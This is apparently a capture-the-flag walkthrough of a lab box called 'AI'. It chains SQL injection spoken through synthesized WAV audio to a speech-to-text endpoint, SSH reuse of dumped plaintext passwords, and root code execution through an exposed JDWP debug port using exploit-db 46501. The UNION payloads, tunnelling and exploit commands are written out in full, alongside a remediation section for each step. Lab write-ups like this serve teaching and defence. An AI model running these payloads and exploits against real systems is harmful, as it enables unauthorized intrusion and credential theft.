← all walkthroughs

AI

Linux· Medium· Web
owned
2026-07-08
time to own
33m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target ai ($TARGET) was fully compromised by chaining two critical vulnerabilities. An Apache/PHP web application offered an AI speech-recognition feature that accepted WAV audio uploads, transcribed them via a speech-to-text engine, and concatenated the resulting text directly into a backend MySQL query with no parameterization.

By synthesizing WAV audio with flite and iteratively calibrating which spoken words the ASR engine transcribed as SQL keywords, I built a working UNION-based injection payload delivered entirely through audio files, dumping the application's users table and recovering four accounts with their cleartext passwords. SSH login as alexa using the recovered credential gave a low-privilege shell and the user flag.

Post-foothold socket enumeration revealed a Java Debug Wire Protocol (JDWP) listener bound to localhost:8000 whose owning JVM process ran as root. JDWP has no authentication by design; SSH local port-forwarding brought the service to my machine, and a public RCE exploit (exploit-db 46501) triggered a JVM breakpoint via background HTTP traffic and injected a shell command that executed as root — full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"

Attack path — how the box was taken

1EnumerationWeb service fingerprinting and attack-surface discovery
Fingerprinted the web server and discovered the audio-upload AI endpoint
HTTP response headers and whatweb fingerprinting confirmed Apache 2.4.29 (Ubuntu) hosting a PHP application. Manual page review of ai.php and intelligence.php revealed a feature that accepted a WAV file, ran it through speech-to-text, and returned both the interpreted phrase ('Our understanding of your input is…') and a 'Query result' field — disclosing that the transcription was passed directly to a backend database query. This dual-echo pattern made the injection oracle fully black-box visible.
Curl -s -i http://$TARGET/ returned Server: Apache/2.4.29 (Ubuntu); ai.php page displayed 'Our understanding of your input is…' and 'Query result' output fields side-by-side.
Exact commands 3
shell

Baseline HTTP response — reveals Apache/2.4.29 server header and any redirect.

$ curl -s -i http://$TARGET/
shell

Aggressive fingerprint; confirms Apache, PHP, and any CMS/framework.

$ whatweb -a3 http://$TARGET
shell

Fetch the speech-recognition upload page; note the dual-echo response structure indicating SQL pass-through.

$ curl -s http://$TARGET/ai.php
2ExploitationUNION-based SQL injection via ASR-mediated input (CWE-89)
Built a UNION-based SQL injection payload delivered through synthesized audio
The application's voice-to-SQL pipeline transcribed uploaded WAV audio and interpolated the transcription directly into a MySQL query with no prepared statements or escaping. By installing flite and sox, I synthesized WAV files that spoke individual SQL keywords and concatenated them into multi-word audio segments. After calibrating which voice and phrasing caused the ASR to transcribe each token reliably, uploading a WAV that spoke the payload "'union select database()-- -" caused the 'Query result' field to return 'alexa', confirming in-band UNION injection through an audio channel.
Uploaded WAV encoding the phrase "'union select database()-- -" returned Query result: alexa; a version WAV returned 5.7.27-0ubuntu0.18.04.1.
Exact commands 3
shell

Install voice synthesis and audio manipulation tools on my machine.

$ sudo apt-get install -y flite sox espeak-ng
shell

Smoke-test: confirm the pipeline echoes back the transcribed word.

$ flite -t 'one' -o /tmp/ai_one.wav && curl -s -F 'fileToUpload=@/tmp/ai_one.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.php
shell

Iterate voice profiles (kal16/awb/rms/slt) and phrase wording until ASR produces the SQL fragment; replace 'comment comment' with whichever spoken tokens yield '-- -'.

$ flite -voice kal16 -t "' union select database comment comment" -o /tmp/sqli_db.wav && curl -s -F 'fileToUpload=@/tmp/sqli_db.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.php
FixUse parameterized queries — never interpolate user-controlled input into SQLCritical
WeaknessThe speech-to-text web endpoint concatenated the ASR-transcribed string directly into a raw SQL query. Any text the speech engine produced — including injected SQL keywords synthesized as audio — was executed verbatim against the database, allowing an unauthorised user to read every table via UNION injection with no credentials required.
FixReplace all dynamic query construction with prepared statements and bound parameters — in PHP, use PDO with bindParam() or MySQLi prepared statements. The application must treat the transcribed string as untrusted data, never as SQL syntax, regardless of the input channel. Additionally, restrict the database account used by the web application to the minimum necessary permissions (SELECT on the specific application tables only) so that even a bypass cannot write files, drop tables, or read system tables.
3Credential AccessSQL injection data exfiltration — plaintext credential harvest
Dumped cleartext usernames and passwords from the database via SQLi
With confirmed in-band injection, UNION SELECT payloads synthesized as WAV files enumerated the users table. Group_concat(username) returned four accounts: alexa, root, dbuser, awsadm. Group_concat(password) returned plaintext passwords stored without hashing. The output string was initially mistaken for two comma-separated values by the ASR; correcting for mis-transcription of special characters recovered alexa's full password as the password.
WAV-delivered payload 'union select group_concat(password)from users — - returned string echoed in the Query result field (ASR truncation of trailing characters later corrected).
Exact commands 2
shell

Recover all usernames; expect alexa,root,dbuser,<withheld>.

$ # WAV encodes: "'union select group_concat(username)from users-- -"
curl -s -F 'fileToUpload=@/tmp/sqli_users.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.php
shell

Recover all passwords in plaintext; carefully note special characters that the ASR may mis-transcribe.

$ # WAV encodes: "'union select group_concat(password)from users-- -"
curl -s -F 'fileToUpload=@/tmp/sqli_pass.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.php
FixStore passwords as salted hashes — never in cleartextHigh
WeaknessUser passwords in the MySQL users table were stored as plaintext strings. Once the SQL injection granted read access to the table, every account credential was immediately usable for authentication attempts without any cracking step, making the database dump directly actionable for lateral movement.
FixHash all passwords with a modern adaptive algorithm (Argon2id, bcrypt, or scrypt) using a unique per-user salt before storing. PHP's built-in password_hash() with PASSWORD_ARGON2ID implements this correctly by default. Existing plaintext passwords must be migrated immediately: force a password reset for all accounts on next login, then store only the computed hash going forward. Never log, cache, or transmit raw password values.
4FootholdValid account — credential reuse from database dump (T1078)
Authenticated over SSH as alexa using the database-dumped password
The plaintext credential recovered from the users table was tested against the SSH service. Initial attempts with the ASR-truncated string failed with 'Permission denied'; once the full trailing character sequence was reconstructed and the complete password was used, SSH authentication succeeded as alexa (uid=1000, gid=1000). The user flag was read directly from /home/alexa/user.txt.
Sshpass login succeeded for alexa's password; cat /home/alexa/user.txt returned <user.txt>.
Exact commands 2
shell

Confirm SSH access; expect uid=1000(alexa).

$ sshpass -p "$PASSWORD" ssh -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 alexa@$TARGET id
shell

Read the user flag: <user.txt>.

$ sshpass -p "$PASSWORD" ssh -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 alexa@$TARGET 'cat /home/alexa/user.txt'
5Post-ExploitationInternal service discovery — unauthenticated JDWP identification (T1046)
Discovered an unauthenticated JDWP debug listener on an internal port running as root
From the alexa shell, socket enumeration with 'ss -tlnp' revealed two internal-only listeners beyond MySQL: ports 8000 and 8080 bound exclusively to 127.0.0.1. Sending the JDWP protocol handshake string to port 8000 received an identical echo reply — the unambiguous identifier of a Java Debug Wire Protocol endpoint. JDWP is a Java debugging protocol with no authentication; a connected client can set breakpoints, load classes, and execute arbitrary code in the JVM's runtime security context. Process enumeration confirmed the JVM was owned by root.
Ss -tlnp output showed 127.0.0.1:8000 and 127.0.0.1:8080 LISTEN; raw TCP echo of 'JDWP-Handshake' to port 8000 returned matching reply.
Exact commands 3
shell

List internal TCP listeners; note 127.0.0.1:8000 and 127.0.0.1:8080.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'ss -tlnp'
shell

Confirm JDWP: the server echoes the same handshake string back if JDWP is listening.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'echo -n "JDWP-Handshake" | nc -w3 127.0.0.1 8000'
shell

Identify the JVM process owner; expect root.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'ps aux | grep -i java'
FixDisable JDWP in production and run the Java application server as a least-privilege accountCritical
WeaknessA Java application server had its Java Debug Wire Protocol agent active (-agentlib:jdwp flag) and was running as the root user. JDWP provides no authentication; any process that can reach the listener can inject breakpoints and execute arbitrary code inside the JVM with the process owner's full privileges. A low-privilege local user (alexa) reached the internal port trivially via SSH local port forwarding.
FixRemove the JVM debug agent flag (-agentlib:jdwp, -Xdebug, or -Xrunjdwp) from every production startup script and service unit file — JDWP must never be active outside isolated development environments. Run the Java application server (Tomcat, Jetty, or equivalent) as a dedicated, least-privilege service account (e.g. tomcat, www-data) with no sudo rights, so that even a complete JVM compromise cannot access /root or overwrite system files. If a debug port is ever required on a staging host, bind it only to 127.0.0.1, restrict access with host firewall rules, and disable SSH AllowTcpForwarding for low-privilege accounts if port-forwarding is not operationally required.
6Lateral MovementSSH local port forwarding — internal service exposure (T1572)
Tunnelled the JDWP and Tomcat ports to my machine via SSH port forwarding
SSH local port-forwarding over the existing alexa session exposed both internal services to my localhost without requiring any additional exploit. Port 8000 (JDWP) was forwarded to my port 18001 so that the exploit tool could address it directly. Port 8080 (Tomcat) was forwarded to my port 18080 to supply the background HTTP traffic that the JDWP exploit requires to trigger a JVM method invocation and set a breakpoint.
Exact commands 3
shell

Forward JDWP (remote 8000) to local 18001; -f -N runs in background without a remote command.

$ sshpass -p "$PASSWORD" ssh -f -N -L 127.0.0.1:18001:127.0.0.1:8000 -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET
shell

Forward Tomcat (remote 8080) to local 18080 for HTTP traffic generation.

$ sshpass -p "$PASSWORD" ssh -f -N -L 127.0.0.1:18080:127.0.0.1:8080 -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET
shell

Verify the forwarded tunnel reaches the JDWP endpoint from my machine.

$ echo -n 'JDWP-Handshake' | nc -w3 127.0.0.1 18001
7Privilege EscalationUnauthenticated JDWP remote code execution in a root-owned JVM (exploit-db 46501)
Exploited the root-owned JDWP service for unauthenticated RCE as root
Exploit-db 46501 (a Python 2 JDWP RCE script) connected to the forwarded JDWP port, waited for a JVM method invocation to set a breakpoint on java.lang.String.indexOf, and injected shell commands into the running JVM process. Because the JVM ran as root, the injected command — copying root.txt to a world-readable path — executed with full root privileges. A background loop sending HTTP requests to the forwarded Tomcat port triggered the required class-loading activity within the timeout window. Root.txt was subsequently read over the alexa SSH session, completing full system compromise.
Exploit-db 46501 executed successfully; cat /tmp/.rootflag via alexa SSH returned <root.txt>.
Exact commands 4
shell

Locate the JDWP RCE exploit; note the full path (/usr/share/exploitdb/exploits/java/remote/46501.py).

$ searchsploit -p 46501
shell

Background loop: send HTTP traffic to Tomcat to trigger JVM activity needed for breakpoint injection.

$ (for i in $(seq 1 180); do curl -s --max-time 2 http://127.0.0.1:18080/ >/dev/null 2>&1; sleep 0.2; done) &
shell

Run under Python 2 (not Python3 — script uses print statements); injects command into the root JVM process.

$ timeout 90 python2 /usr/share/exploitdb/exploits/java/remote/46501.py -t 127.0.0.1 -p 18001 --break-on java.lang.String.indexOf --cmd 'cp /root/root.txt /tmp/.rootflag; chmod 644 /tmp/.rootflag'
shell

Read the root flag via alexa's SSH session: <root.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'cat /tmp/.rootflag'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp